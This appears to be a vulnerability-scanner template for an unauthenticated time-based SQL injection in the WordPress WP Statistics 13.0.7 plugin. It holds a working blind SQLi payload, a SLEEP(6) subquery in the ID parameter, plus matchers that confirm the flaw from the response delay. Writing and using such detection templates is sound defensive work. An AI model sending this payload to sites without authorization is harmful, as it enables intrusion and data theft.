id: wp-statistics-sqli

info:
  name: WordPress WP Statistics Plugin 13.0.7 - SQL Injection
  author: r3Y3r53
  severity: high
  description: |
    WordPress Plugin WP Statistics 13.0.7  contains an unauthenticated Time based SQL injection vulnerability. The plugin does not sanitize and escape the id parameter before using it in a SQL statement, leading to an unauthenticated blind SQL injection. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://www.exploit-db.com/exploits/49894
    - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-wp-statistics-sql-injection-13-0-7/
    - https://www.wordfence.com/blog/2021/05/over-600000-sites-impacted-by-wp-statistics-patch/
    - https://wordpress.org/plugins/wp-statistics/
  metadata:
    verified: true
    max-request: 2
    publicwww-query: /wp-content/plugins/wp-statistics/
  tags: sqli,unauth,exploitdb,wp-statistics,wp-plugin,wordpress,wp

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin.php?page=wps_pages_page&type=1&ID=1+AND+(SELECT+*+from+(select+SLEEP(6))a)"
      - "{{BaseURL}}/wp-content/plugins/wp-statistics/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'contains(content_type, "text/html") && contains(body_2, "WP Statistics")'
          - 'status_code == 500'
        condition: and

# digest: 4a0a00473045022100f4da8a4fa639e345d1927cec57054b9caa885d24d795fd99b7143bf9c351f10d02204a18fb4cd911412a0d3c77b4916424c8d074a3840c36664e57f8ac9f039cee9a:922c64590222798bb761d5b6d8e72950
